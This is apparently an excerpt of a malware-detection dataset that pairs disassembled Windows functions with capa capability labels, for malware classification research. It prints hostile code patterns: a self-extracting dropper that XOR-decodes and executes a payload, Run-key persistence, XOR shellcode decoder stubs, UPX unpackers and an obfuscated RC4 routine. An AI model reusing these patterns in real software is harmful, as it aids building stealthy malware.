joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c87c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.004028d0
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x40f458]
cmp byte [edx + 8], 0
je 0x40c8e0
mov edx, dword [0x40f454]
cmp dword [edx], 2
jne 0x40c8e0
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret

Function at 0x40d18c
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
push 0
mov ebx, dword [0x4104d8]
push ebx
push 0
movzx ebx, word [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x18]
push ebx
push ecx
push edx
push eax
mov eax, dword [ebp + 0x1c]
push eax
call sub.user32.dll_CreateWindowExA
mov ebx, eax
push 1
push ebx
call sub.user32.dll_ShowWindow
push ebx
call sub.user32.dll_UpdateWindow
mov eax, ebx
pop ebx
pop ebp
ret 0x18

Function at 0x40d304
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebx
push esi
add esp, 0xfffffff4
push esp
push 0x40d380
push 0x80000001
call sub.advapi32.dll_RegOpenKeyW
test eax, eax
jne 0x40d377
xor eax, eax
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
push ebx
lea eax, [esp + 0x10]
push eax
push 0
push 0x40d404
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, dword [esp + 4]
call fcn.00402598
mov ebx, eax
lea eax, [esp + 4]
push eax
push ebx
lea eax, [esp + 0x10]
push eax
push 0
push 0x40d404
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov esi, ebx
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, esi
add esp, 0xc
pop esi
pop ebx
ret
Function at 0x408518
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x408527
pop dword [ebp - 0x10]
mov eax, 0xec47f5bb
sub eax, 0xec077094
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3c871
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x4ea9
xor esi, esi
add esi, eax
mov edi, 0x39df106f
add edi, 0xc6636591
add edi, dword [ebp - 0x10]
mov edx, 0xc1cdfd9b
mov ebx, dword [edi]
xor dword [ebp - 8], 0x6df3acc1
xor ebx, edx
xor dword [ebp - 0xc], esi
mov dword [esi], ebx
add dword [ebp - 4], 0x136f8d14
add esi, 0x97dc9eeb
add esi, 0x68236119
add edi, 4
loop 0x408577
add eax, 0xca9bc9c6
sub eax, 0xca9a9c4f
mov ebx, eax
add eax, 0xd5989d45
add eax, 0x2a6762c0
mov ecx, 0xfb45f32c
add ecx, 0x4fa0cd4
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0xd13c90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5b3000]
push edi
jmp 0xd13caa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xd13cb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd13ca0
mov eax, 1
add ebx, ebx
jne 0xd13cc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xd13cd4
jne 0xd13cf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd13cf3
dec eax
add ebx, ebx
jne 0xd13ce0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xd13cb8
add ebx, ebx
jne 0xd13cef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xd13d45
xor ecx, ecx
sub eax, 3
jb 0xd13d0b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xd13d7a
sar eax, 1
mov ebp, eax
jmp 0xd13d16
add ebx, ebx
jne 0xd13d16
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd13ce4
inc ecx
add ebx, ebx
jne 0xd13d24
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd13ce4
add ebx, ebx
jne 0xd13d31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xd13d26
jne 0xd13d42
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xd13d26
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xd13d64
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xd13d56
jmp 0xd13ca6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xd13d64
add edi, ecx
jmp 0xd13ca6
pop esi
mov edi, esi
mov ecx, 0x479b53
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0xd13d9f
cmp byte [edi], 0x90
jne 0xd13d84
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0xd13d82
lea edi, [esi + 0x910000]
mov eax, dword [edi]
or eax, eax
je 0xd13df0
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x928554]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x928694]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xd13da5
mov ecx, edi
jns 0xd13dd4
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x928698]
or eax, eax
je 0xd13dea
mov dword [ebx], eax
add ebx, 4
jmp 0xd13dc2
call dword [esi + 0x9286a8]
mov ebp, dword [esi + 0x92869c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xd13e24
sub esp, 0xffffff80
jmp 0x8aaf40
Function at 0x10007faf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10007fbe
pop dword [ebp - 0x44]
mov eax, 0x10007fbe
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x6e859b0b
add dword [ebp - 0x54], 0xdfccaa40
mov dword [ebp - 0x50], 0x92c8b180
add dword [ebp - 0x50], 0x9f6a9ac5
mov dword [ebp - 0x4c], 0x699109f2
add dword [ebp - 0x4c], 0xe2bb3a3c
mov dword [ebp - 0x48], 0x7421f588
sub dword [ebp - 0x48], 0x7421f588
lea eax, [ebp - 0x54]
push eax
mov eax, 0x9441e29b
sub eax, 0x8440221b
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x7a0bb50e
sub dword [ebp - 0x54], 0x5994bb8
mov dword [ebp - 0x50], 0x13218680
add dword [ebp - 0x50], 0x2e4adaf5
mov dword [ebp - 0x4c], 0xe393a3fd
add dword [ebp - 0x4c], 0x7fdbc86f
mov dword [ebp - 0x48], 0x305e4fdd
add dword [ebp - 0x48], 0xcfa1b023
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x5ccc0612
add eax, 0xb335b9ee
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3976f
push 0
call eax
mov ecx, 0x4fdf
mov edx, eax
mov ebx, 0x10026800
add ebx, dword [ebp - 0x44]
mov esi, 0xfde87499
sub esi, 0x4d918965
add dword [ebp - 8], 0xbab4b3d3
mov edi, dword [ebx]
xor dword [ebp - 0x1c], 0x79f57146
sub edi, esi
sub dword [ebp - 0x38], 0x5e86e1e
mov dword [edx], edi
sub dword [ebp - 0x20], 0x3c0201b4
add edx, 0x54858472
sub edx, 0x5485846e
add ebx, 0xef1db5ea
add ebx, 0x10e24a1a
loop 0x100080cf
add eax, 0x1324f
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x10008fc4
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x1000
mov dword [esp + 0x14], ebp
call sub.glib_lite.dll_Ordinal_406
mov esi, dword [esp + 0x1c]
mov edi, eax
mov ebx, dword [esp + 0x20]
pop ecx
mov dword [ebx], ebp
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x11c]
sbb ecx, dword [esi + 0x114]
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, ebp
ja 0x1000901f
jb 0x10009011
cmp eax, 0xffe
ja 0x1000901f
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
jmp 0x10009024
mov eax, 0x1000
test edi, edi
je 0x1000909a
push ebp
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push dword [esi + 0x104]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x10009093
push sub.glib_lite.dll_Ordinal_109
push edi
push dword [esp + 0x18]
push ebp
push 0x1000
push edi
push ebp
call sub.gstreamer_lite.dll_Ordinal_25
add esp, 0x1c
mov dword [ebx], eax
test eax, eax
je 0x10009072
mov ecx, dword [esi + 0x110]
mov dword [eax + 0x40], ecx
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x44], ecx
mov eax, dword [esp + 0x10]
add eax, dword [esi + 0x110]
push 0
pop edx
adc edx, dword [esi + 0x114]
mov dword [esi + 0x110], eax
mov dword [esi + 0x114], edx
jmp 0x1000909e
push edi
call sub.glib_lite.dll_Ordinal_109
pop ecx
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]
Function at 0x5f17c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x159000]
push edi
or ebp, 0xffffffff
jmp 0x5f17e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5f17e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5f17d8
mov eax, 1
add ebx, ebx
jne 0x5f17fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5f180c
jne 0x5f182b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5f182b
dec eax
add ebx, ebx
jne 0x5f1818
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5f17f0
add ebx, ebx
jne 0x5f1827
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5f187d
xor ecx, ecx
sub eax, 3
jb 0x5f1843
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5f18b2
sar eax, 1
mov ebp, eax
jmp 0x5f184e
add ebx, ebx
jne 0x5f184e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5f181c
inc ecx
add ebx, ebx
jne 0x5f185c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5f181c
add ebx, ebx
jne 0x5f1869
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5f185e
jne 0x5f187a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5f185e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5f189c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5f188e
jmp 0x5f17de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5f189c
add edi, ecx
jmp 0x5f17de
pop esi
mov edi, esi
mov ecx, 0x8ce3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5f18ba
cmp byte [edi], 0x24
jne 0x5f18ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5f18bf
lea edi, [esi + 0x1ed000]
mov eax, dword [edi]
or eax, eax
je 0x5f1937
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x239770]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2398ec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5f18ec
mov ecx, edi
jns 0x5f191b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2398f0]
or eax, eax
je 0x5f1931
mov dword [ebx], eax
add ebx, 4
jmp 0x5f1909
call dword [esi + 0x239900]
mov ebp, dword [esi + 0x2398f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5f196b
sub esp, 0xffffff80
jmp 0x502b7a
Function at 0x4f43eb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x556895
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055649a

Function at 0x5568a0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055661b

Function at 0x55d827
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055d001

Function at 0x55d832
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055d23c

Function at 0x55dcc5
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055da4c

Function at 0xff9a2c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xff9a36
pushal
call 0xff9a3c
pop ebp
sub ebp, 0x10
sub ebp, 0xbf9a2c
jmp 0xff9a52
mov eax, 0xbf9a2c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bc
mov edx, 0x74bbc728
xor byte [eax], dl
inc eax
dec ecx
jne 0xff9a69
jmp 0xff9a7c
mov dword [0x14a1a3e5], eax
sub byte [eax], ch
sub byte [ecx + 0x2828d0e9], ch
sub byte [ebx], ch
in eax, 0x90
sub eax, 0x92282828
add byte [eax], ch
sub byte [eax], ch
invalid
Function at 0x101b545a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101d4008]
jne 0x101b5464
repz ret
jmp fcn.101b745d

Function at 0x101b862f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.101b54db
and dword [ebp - 4], 0
cmp dword [0x101d5938], 0
mov ebx, eax
jne 0x101b86e0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x101b8791
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x101b8791
push eax
call fcn.101b5469
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x101d5938], eax
call esi
push eax
call fcn.101b5469
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x101d593c], eax
call esi
push eax
call fcn.101b5469
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x101d5940], eax
call esi
push eax
call fcn.101b5469
pop ecx
mov dword [0x101d5948], eax
test eax, eax
je 0x101b86e0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.101b5469
pop ecx
mov dword [0x101d5944], eax
mov eax, dword [0x101d5944]
cmp eax, ebx
je 0x101b8738
cmp dword [0x101d5948], ebx
je 0x101b8738
push eax
call fcn.101b54e4
push dword [0x101d5948]
mov esi, eax
call fcn.101b54e4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x101b8738
test edi, edi
je 0x101b8738
call esi
test eax, eax
je 0x101b872f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x101b872f
test byte [ebp - 0xc], 1
jne 0x101b8738
or dword [ebp + 0x10], 0x200000
jmp 0x101b8771
mov eax, dword [0x101d593c]
cmp eax, ebx
je 0x101b8771
push eax
call fcn.101b54e4
pop ecx
test eax, eax
je 0x101b8771
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x101b8771
mov eax, dword [0x101d5940]
cmp eax, ebx
je 0x101b8771
push eax
call fcn.101b54e4
pop ecx
test eax, eax
je 0x101b8771
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x101d5938]
call fcn.101b54e4
pop ecx
test eax, eax
je 0x101b8791
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x101b8793
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101ba26a
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x24
mov dword [ebp - 8], 0
mov dword [0x101d3990], 0xea1
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x101d3990], 0x12cc
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x101ba335
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x1c], eax
je 0x101ba36f
jmp 0x101ba32c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov dword [0x101d3994], eax
mov dword [0x101d3990], 0x6b6
mov eax, dword [ebp - 0x10]
cmp word [eax + ecx*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
je 0x101ba359
jmp 0x101ba32c
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x1c], eax
je 0x101ba2ae
jmp 0x101ba32c
mov eax, 0x19cd
mov ecx, dword [ebp - 0x28]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], ecx
jl 0x101ba335
jmp 0x101ba2c8
mov eax, dword [ebp - 0x1c]
add esp, 0x24
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov ecx, 0x1bd2
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], ecx
je 0x101ba2c8
jmp 0x101ba309
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x1c], eax
je 0x101ba2f3
jmp 0x101ba32c
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x1c], eax
jne 0x101ba32c
xor eax, eax
mov dword [0x101d3990], 0xffffe770
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x101ba32c
xor eax, eax
mov dword [0x101d3990], 0x251c
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x101ba32c
mov eax, 1
mov dword [0x101d3994], 0x369d
mov dword [ebp - 0x1c], eax
jmp 0x101ba32c
Function at 0x101ba4c1
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101d399c], 0
mov byte [0x101d39a0], 0
mov dword [0x101d3990], 0x19f5
mov dword [0x101d3998], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101ba543
mov dword [0x101d3994], 0x2635
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0x1a82
xor ecx, ecx
mov dword [0x101d3990], 0x1a82
mov dword [0x101d3998], 0
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
jmp 0x101ba581
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101d3990]
add eax, 0x1e60
mov dword [0x101d3994], eax
mov esi, dword [0x101d3998]
add esi, 1
mov dword [0x101d3998], esi
cmp esi, 0x100
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
jl 0x101ba543
jmp 0x101ba51a
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov esi, 0x100
add ecx, 0xffffe1b1
add edx, 0xffffe791
mov dword [0x101d39a4], 0
mov dword [ebp - 0x30], eax
xor edi, edi
mov dword [ebp - 0x34], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov dword [0x101d3994], ecx
mov ecx, dword [0x101d399c]
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x30]
movzx edi, byte [ebx + edi]
add edi, ecx
mov ecx, dword [ebp - 0x14]
movzx edx, byte [ecx + edx]
add edi, edx
mov dword [0x101d39a4], edi
mov eax, edi
cdq
idiv esi
mov dword [0x101d399c], edx
mov esi, dword [ebp - 0x30]
mov cl, byte [ebx + esi]
mov byte [0x101d39a0], cl
mov edi, dword [ebp - 0x34]
mov dword [0x101d3994], edi
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101d39a0]
mov edx, dword [0x101d399c]
mov byte [ebx + edx], cl
mov edx, dword [0x101d3998]
add edx, 1
mov dword [0x101d3998], edx
cmp edx, 0x100
mov dword [ebp - 0x38], edx
jge 0x101ba508
mov eax, dword [0x101d3990]
mov ecx, dword [0x101d3994]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], edx
jmp 0x101ba581